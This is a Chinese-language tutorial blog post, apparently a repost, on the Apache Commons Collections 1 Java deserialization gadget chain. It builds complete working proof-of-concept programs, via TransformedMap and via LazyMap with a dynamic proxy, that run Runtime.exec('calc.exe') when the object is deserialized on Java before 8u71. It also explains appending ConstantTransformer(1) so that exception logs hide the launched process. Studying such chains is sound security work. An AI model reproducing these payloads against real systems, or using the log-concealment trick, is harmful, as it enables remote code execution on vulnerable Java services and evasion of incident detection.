java反序列化之CommonCollections1利⽤链的学习

news2024/9/27 9:23:35

一、源起

1、代码示例

既然学习cc1链,那么总要先了解下cc1链能造成任意代码执行的原因,这里引用P神的代码来进行讲解:

ps:环境使用:

  • CommonsCollections <= 3.2.1
  • java < 8u71
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class ccTest {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),

        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");

    }
}

执行上述代码,就可以调用本机的计算器

2、代码类及方法解释

上述代码利用到了TransformedMap类和Transformer接口、ConstantTransformer类、InvokerTransformer类、ChainedTransformer类,我们先理解这几个类及接口的作用,再进一步理解造成cc1链的利用原理。

(1)TransformedMap类

TransformedMap用于对java标准数据结构Map做一个修饰,被修饰过的Map在添加新的元素时,将可以执行一个回调。上述代码的中对InnerMap进行修饰,传出的outerMap即是修饰后的Map:

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);

其中,keyTransformer是处理新元素的Key的回调,valuetransformer是处理新元素的value的回调。 这里多次说到“回调”,其实是一个实现Transformer接口的类

(2)Transformer 接口

Transformer是个接口,它只有一个待实现的方法:

public interface Transformer{
    public Object transform(Object input);

}

TransformedMap类在转换Map的新元素时,就会调用transform方法, 这个过程类似在调用一个“回调函数”,这个回调的参数就是原始对象

(3)ConstantTransformer类

ConstantTransformer类是实现了Transformer接口的一个类,它的过程就是在构造函数的时候传入一个对象,并在transformer方法将这个对象再返回。

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

public Object transform(Object input) {
    return iConstant;
}

其实作用就相当于包装任意一个对象, 在执行回调的时候返回这个对象,进而方便后续操作

(4)InvokerTransformer

InvokerTransformer是实现Transformer接口的一个类,,这个类可以用来执行任意方法,这也是反序列化能执行任意代码的关键

在实例化这个InvokerTransformer时,需要传入三个参数,第一个参数是待执行的方法名,第二个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args){
    super();
    iMethodName = methodName;
    iParamTtypes = paramTypes;
    iArgs = args;
}

后面的回调transformer方法,就是执行了input对象的iMethodName方法:

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

(5)ChainedTransformer类

ChainedTransformer 也是实现了 Transformer 接⼝的⼀个类,它的作⽤是将内部的多个 Transformer 串在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊

构造函数解析:

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}

构造函数:

    • 参数: Transformer[] transformers
      • 这是一个 Transformer 对象的数组, 表示将要链式调用的转换器
    • super():
      • 调用父类的构造函数,确保父类的初始化
    • iTransformers = transformers;
      • 将传入的转换器数组赋值给类的实例变量 iTransformers 。这个变量用于存储所有的转换器,供后续的 transform 方法使用

tranform方法:

public Object transform(Object object){
    for ( int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
return object;
}

方法功能:

  • 参数: Object object
    • 这是要进行转换的对象,可以是任何类型
  • 方法流程:
    • 遍历iTransformers 数组: 使用for循环 遍历所有的 Transformer 对象
    • 逐个调用 transform 方法: 再循环中,对于当前的 Transformer(iTransformers[i]) 调用其 transform方法,并将结果赋值回 object,这意味这每次调用 transform 都会将当前对象进行转换,并更新object变量为转换后的值
    • 返回最终结果:循环结束后,返回经过所有转换器处理后的object

3、理解造成任意代码执行的原因

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),

        };
        Transformer transformerChain = new ChainedTransformer(transformers);

在上述代码中,创建了一个ChainedTransformer对象,其中包含两个Transformer:

  • 第一个是ConstantTransformer,返回的是当前环境的Runtime对象;
  • 第二个是InvokerTransformer,执行Runtime对象的exec方法,参数是 cale.exe

不过,这个生成的实例transformerChain只是一系列回调,我们需要用其包装一个Map

,使用前面说到的TransformedMap.decorate:

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

那么触发回调也就是如之前所说的向Map中放入一个新元素即可,

outerMap.put("test", "xxxx");

至此,就是CC1链造成任意代码执行的一个原因了,当然这也是最简单的一部分了,经过P神的压缩再压缩,后续再深入研究下如何构造成反序列化的payload。

二、使用TransformedMap构造可用的POC

前面说到,触发漏洞的关键点是有个被TransformedMap修饰包装过的Map,同时需要更新这个Map的键值对。

在上述根因分析中,我们是通过手动执行outerMap.put("test","xxxx");来触发漏洞,但在实际反序列化时,我们需要找到一个类,它能在反序列化的readObject逻辑里有类似的写入操作。

当前分析的一个类就是 sun.reflect.annotation.AnnotationInvocationHandler, 分析它的readObject方法(如下是8u71之前的代码):

    private void readObject(java.io.ObjectInputStream s)
            throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in
                    annotation serial stream");
        }
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue :
                memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) { // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                        value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                            new AnnotationTypeMismatchExceptionProxy(
                                    value.getClass() + "[" + value + "]").setMember(
                                    annotationType.members().get(name)));
                }
            }
        }
    }

这里的关键点就是Map.Entry<String, Object> membervalue : memberValues.entrySet()  和memberValue.setValue(....)。 memberValues就是经过反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。 在调用setValue设置值的时候就会触发TransformedMap里注册的Transform(这部分就相当于我们手工执行插入Map元素的步骤),进而执行我们为其精心设计的任意代码。

所以,在构造POC的时候,就需要创建一个AnnotationInvocationHandler对象,并将其前面构造的HashMap设置进来; 同时因为 sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的 类,不能直接使用new来实例化。这里使用发射获取其构造方法,并将其设置成外部可见,再调用就可以实例化了。

值得注意的是,因为poc是经过序列化的,而在开始的实例demo中,Runtime类是没有实现 java.io.Serializable 接口的,故开始设置的Transformer[] 也需要通过反射实现;

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), //返回个java.lang.Class对象
                new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"}),
        };

。。。。。。。。
。。。。。。。。
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object obj = construct.newInstance(Retention.class, outerMap);

我们在探讨下 AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个参数是前面构造的Map。那么为什么是Annotation类?为什么又需要使用Retention.class? 

在这里我们先结合开始的demo和上述修正后的部分代码,去执行看看,是否能达成我们想要的效果?

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("test", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        //outerMap.put("test", "xxxx");

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object obj = construct.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

这时候执行,其实生成了序列化后的数据的,但是实际上并没有弹出电脑的计算器,故并没有达到想要的效果。

这个实际上和 AnnotationInvocationHandler 类的逻辑有关,我们可以动态调试就会发现,在
AnnotationInvocationHandler:readObject 的逻辑中,有一个 if 语句对 var7 进行判断,只有在其不
null 的时候才会进入里面执行 setValue ,否则不会进入也就不会触发漏洞:

那么如何让这个 var7 不为 null 呢?P神的解释是还会涉及到 Java 注释相关的技术。故直接给
出两个条件:
1、. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是Annotation 的子类,且其中必须含有至少一个方法,假设方法名是 X
2、  被TransformedMap.decorate 修饰的Map 中必须有一个键名为 X 的元素
所以,这也解释了为什么前面用到 Retention.class ,因为 Retention 有一个方法,名为 value ;所
以,为了再满足第二个条件,需要给 Map 中放入一个 Key value 的元素:

public class CommonCollections1 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        //outerMap.put("test", "xxxx");

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);


        construct.setAccessible(true);
        Object obj = construct.newInstance(Retention.class, outerMap);



        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

当然上述执行的poc生成序列化流,仅限于java 8u71之前的版本适用,后续官方已经做过修复,jdk8u/jdk8u/jdk: f8a528d0379d (openjdk.org)

改动后,不再直接 使用反序列化得到的Map 对象,而是新建了一个 LinkedHashMap 对象,并将原来的键值添加进去。
所以,后续对 Map 的操作都是基于这个新的 LinkedHashMap 对象,而原来我们精心构造的 Map 不再执 行set put 操作,也就不会触发 RCE 了。

三、使用LazyMap 构造可用的POC

在实际中,ysoserial构造CC1链是用LazyMap而不是TransformedMap,那么我们继续跟进用LazyMap构造一个可用的POC。

1、了解什么是LazyMap

LazyMap和TransformedMap类似,都是来自Common-Collections库,并继承AbstractMapDecorator。 LazyMap的漏洞触发点和TransformedMap唯一的区别就是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的factory.transform。 LazyMap的作用是 懒加载, 在get找不到值的时候,它会调用factory.transform方法去获取一个值。

public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在sun.reflect.annotation.AnnotationInvocationHandler的 readObject方法中并没有直接调用到Map的get方法。

所以在ysoserial的利用链中,用AnnotationInvocationHandler类的invoke方法有调用到get:

那么继续进一步又如何能调用到 AnnotationInvocationHandler#invoke 呢?在ysoserial中是利用Java的对象代理。

2、了解对象代理

在 Java 中,代理(Proxy)模式是一种设计模式,通过它可以在不改变现有类的情况下扩展其功能。Java 提供了 java.lang.reflect.Proxy 类和 java.lang.reflect.InvocationHandler 接口来动态创建代理对象。

示例说明:

创建一个动态代理,它可以在对 Map 对象进行操作时记录操作日志。

1、定义InvocationHandler

首先,我们需要实现 InvocationHandler 接口,这个接口用于处理代理对象方法的调用。

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;

public class MapProxyHandler implements InvocationHandler {
    private final Map<String, String> originalMap;

    public MapProxyHandler(Map<String, String> originalMap){
        this.originalMap = originalMap;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable{
        //记录方法的调用
        System.out.println("调用的方法:" + method.getName());
        if (args != null){
            System.out.println("使用参数: ");
            for (Object arg : args){
                System.out.println(arg);
            }
        }

        //调用原始方法
        Object result = method.invoke(originalMap, args);

        //记录返回值
        System.out.println("返回值: " + result);
        return result;
    }
}

2、创建代理对象

接下来,我们使用 Proxy.newProxyInstance 方法来创建一个代理对象。这个方法需要三个参数:

  • 类加载器(ClassLoader):用于加载代理类。
  • 代理接口(Class<?>[]):代理类需要实现的接口。
  • InvocationHandler 实现:用于处理方法调用。
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);
import java.lang.reflect.Proxy;
import java.util.Map;
import java.util.HashMap;

public class MapProxyDemo {
    public static void main(String[] args) {
        //创建一个实际的Map对象
        Map<String, String> originalMap = new HashMap<String, String>();
        originalMap.put("key1", "value1");
        originalMap.put("key2", "value2");

        //创建一个 InvocationHandler实例
        MapProxyHandler  handler = new MapProxyHandler(originalMap);

        //创建代理对象
        Map<String, String> proxyMap = (Map<String, String>) Proxy.newProxyInstance(
                originalMap.getClass().getClassLoader(),
                new Class<?>[]{Map.class},
                handler
        );

        //使用代理对象
        System.out.println("key1 的 值为:" + proxyMap.get("key1"));
        proxyMap.put("key3", "value3");
        System.out.println("key3 的值为:" + proxyMap.get("key3"));
    }
}

3、代码解释

  1. MapProxyHandler:

    • 实现了 InvocationHandler 接口。
    • invoke 方法中,记录方法调用和返回值,然后调用实际的 Map 方法。
  2. MapProxyDemo:

    • 创建了一个实际的 Map 对象 originalMap
    • 实例化了 MapProxyHandler
    • 使用 Proxy.newProxyInstance 创建了一个代理对象 proxyMap,它实现了 Map 接口。
    • 使用代理对象执行操作,代理会在控制台上记录方法调用的信息。

4、运行结果

我们回看 sun.reflect.annotation.AnnotationInvocationHandler ,会发现实际上这个类继承了InvocationHandler,我们如果将这个对象用 Proxy 进行代理,那么在 readObject 的时候,只要
调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发我们的
LazyMap#get。

3、使用LazyMap构造利用链

参考TransformedMap的POC,进行修改,首先用LazyMap替换TransformedMap:

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

紧接着,我们需要对 sun .reflect.annotation.AnnotationInvocationHandler 对象进行Proxy代理:

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

代理后的对象叫做proxyMap,但是这里不能直接对其进行序列化,因为触发入口是sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹:

handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

所以最终构造的POC如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
                new ConstantTransformer(1),
        };

        Transformer  transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        System.out.println(barr);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

    }
}

4、其他说明

在上述poc中,其实对Transformer数组,为什么最后会增加一个 ConstantTransformer(1)

其实是为了隐藏异常日志中的一些信息。如果这里没有
ConstantTransformer ,命令进程对象将会被 LazyMap#get 返回,导致我们在异常信息里能看到这个 特征:

如果我们增加一个 ConstantTransformer(1) TransformChain 的末尾,异常信息将会变成
java.lang.Integer cannot be cast to java.util.Set ,隐蔽了启动进程的日志特征:

ps:当然即使使用LazyMap也仍然无法解决CommonCollections1这条利用链在高版本Java8u71以后)中的使用问题,因为使用逻辑不一样了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2067300.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Python机器学习】NLP分词——利用分词器构建词汇表(一)

在NLP中&#xff0c;分词&#xff08;也称切词&#xff09;是一种特殊的文档切分过程。而文档切分能够将文本切分成更小的文本块或片段&#xff0c;其中含有更集中的信息内容。文档切分可以是将文本分成段落&#xff0c;将段落分成句子&#xff0c;将句子分成短语&#xff0c;或…

C语言学习——文件

目录 十三、文件 13.1C文件概述 13.2文件类型指针 13.3文件的打开与关闭 文件的打开&#xff08;fopen函数&#xff09; 文件的关闭&#xff08;fclose函数&#xff09; 13.4文件的读写 fputc函数和fgetc函数&#xff08;putc函数和getc函数&#xff09; fread函数和fw…

在亚马逊云科技上通过LangChain ReAct Agent开发金融多模态数据AI分析中台

项目简介&#xff1a; 小李哥将继续每天介绍一个基于亚马逊云科技AWS云计算平台的全球前沿AI技术解决方案&#xff0c;帮助大家快速了解国际上最热门的云计算平台亚马逊云科技AWS AI最佳实践&#xff0c;并应用到自己的日常工作里。 本次介绍的是如何在亚马逊云科技机器学习托…

简易版营业厅宽带系统

TOC ssm018简易版营业厅宽带系统jsp 绪论 1.1 研究背景 当前社会各行业领域竞争压力非常大&#xff0c;随着当前时代的信息化&#xff0c;科学化发展&#xff0c;让社会各行业领域都争相使用新的信息技术&#xff0c;对行业内的各种相关数据进行科学化&#xff0c;规范化管…

音频Transformer架构

第3单元:音频Transformer架构 本课程中,我们主要关注Transformer模型以及它们如何应用于音频任务。虽然您不需要了解这些模型的内部细节,但了解使它们工作的主要概念很有用,因此我们在本小节中回顾一下关于Transformer的知识。有关transformer的深入了解,请查看我们的NLP…

互联网的发展是否加剧了数字鸿沟?

有人问&#xff1a;互联网的发展是否加剧了数字鸿沟。 互联网的发展确实在某种程度上加剧了数字鸿沟。虽然互联网的普及为全球范围内的人们提供了前所未有的访问信息、教育资源和经济机会的机会&#xff0c;但其发展也凸显并放大了不同群体之间的差距&#xff0c;比如以下几个…

dokcer 安装 redis(单机版)

准备工作 拉取redis镜像 docker pull redis 通过docker-compose 安装redis 很方便、很简单 先安装docker&#xff0c;参考我这个安装示例进行安装 https://blog.csdn.net/qq_33192671/article/details/13714973 然后安装docker-compose&#xff0c;要是拉取docker-compose无…

【在Linux世界中追寻伟大的One Piece】IO基础

目录 1 -> 回顾 1.1 -> 回顾C文件接口 1.2 -> 总结 2 -> 系统文件I/O 3 -> 接口介绍 3.1 -> open 3.2 -> open函数返回值 3.3 -> 文件描述符fd 4 -> 0 & 1 & 2 5 -> 文件描述符的分配规则 6 -> 重定向 7 -> 使用dup2系…

跨链互通:Web3如何实现多链互操作性

随着区块链技术的发展&#xff0c;各类区块链网络不断涌现&#xff0c;然而&#xff0c;不同链之间的互操作性问题成为了一个重要挑战。跨链互通&#xff08;Cross-chain Interoperability&#xff09;技术正是为了解决这一问题&#xff0c;旨在打破各区块链网络间的壁垒&#…

恒创科技:如何管理和减少Windows服务器 CPU 负载?

CPU 负载是衡量网络服务器或计算机中央处理器 (CPU) 在任意给定时间内处理工作量的指标。它通常表示 CPU 正在执行或排队等待处理的进程数。 如何读取和管理CPU负载&#xff1a; 对于 Windows 系统 Windows 本身不支持“top”和“ps”命令&#xff0c;而类 Unix 系统则支持。不…

Xinstall助力App运营,邀请码自动识别,效率翻倍!

在App推广和运营的道路上&#xff0c;邀请码一直是一个让人又爱又恨的存在。它能够帮助我们追踪用户来源&#xff0c;衡量推广效果&#xff0c;但同时&#xff0c;繁琐的填写步骤也让许多潜在用户望而却步。然而&#xff0c;随着Xinstall的出现&#xff0c;这一切都将迎来颠覆性…

Promise学习之同步与异步

目录 前言 一、同步与异步 (一) 同步 (二) 异步 二、总结 (一) 同步 (二) 异步 前言 Java有多线程&#xff0c;前端有同步与异步&#xff0c;异步操作可以优化用户体验、提高性能与响应、处理并发与并行任务等等&#xff0c;异步操作有发送Ajax请求、读文件等&#xff0…

简明的Arthas故障排查实践

写在文章开头 Arthas是一款强大的开源Java诊断程序,它可以非常方便的启动并以界面式的方式和Java程序进行交互,支持监控程序的内存使用情况、线程信息、gc情况、甚至可以反编译并修改现上代码等。所以它成为笔者进行线上问题排查的重要手段,而本文将从实际使用的角度介绍一下…

我带着我的未来回来了!

&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d; &#x1f947;博主昵称&#xff1a;小菜元 &#x1f35f;博客主页…

第九周:机器学习笔记

第九周机器学习周报 摘要Abstract机器学习——Spatial Transformer1.1 How to transform an image/feature map?&#xff08;怎么做&#xff09;1.2 Interpolation&#xff08;插值&#xff09;1.3 spatial Transformer的应用 Pytorch学习1. 线性层2. 其他层的介绍3. 搭建小实…

Leetcode 237.19.83.82 删除链表重复结点 C++实现

Leetcode 237. 删除链表中的节点 问题&#xff1a;有一个单链表的head&#xff0c;我们想删除它其中的一个节点node。给你一个需要删除的节点 node 。你将 无法访问 第一个节点head。链表的所有值都是唯一的&#xff0c;并且保证给定的节点 node不是链表中的最后一个节点。删除…

buuctf [ACTF新生赛2020]usualCrypt

前言&#xff1a;学习笔记。 常规&#xff1a; 下载 解压 查壳。 32位IDA pro打开 先查找字符串 在进入main() 分析&#xff1a; 关键函数&#xff1a; 第一部分&#xff1a; 大写转小写 小写转大写。 已知&#xff1a; 密文&#xff0c;以及加密过程由三部分组成。 那么逆向…

一款电容型、非接触式感知的智能水浸模组-WS11

水侵模组 - WS11&#xff08;Water Sensor-MC11S&#xff09;是一款电容型、非接触式感知的智能水浸模组&#xff0c;集成了高集成度差分式数字电容芯片MC11S。模组内嵌MCU&#xff0c;通过UART输出电容和检测状态信息&#xff0c;进行算法分析&#xff0c;有效滤除振动、凝露等…

Android自定义一个带背景的圆环形进度条(Kotlin)

前言 在Android开发过程中&#xff0c;难免遇到一些复杂的UI组件需要我们自定义 当然使用系统原生组件拼凑也能完成&#xff0c;但是UI复杂度增加了不说&#xff0c;在更新UI状态的时候还不好管理&#xff0c;最重要的是复用的价值不大&#xff0c;上述的操作很容易引增加码冗…

温湿度传感器---DHT11

温湿度传感器---DHT11 一、DHT11介绍二、DHT11原理图三、DHT11工作原理和时序3.1 DHT11工作时序 四、DHT11代码 一、DHT11介绍 DHT11数字温湿度传感器是一款含有已校准数字信号输出的温湿度复合传感器&#xff0c;传感器内部包括一个8位单片机控制一个电阻式感湿元件和一个NTC…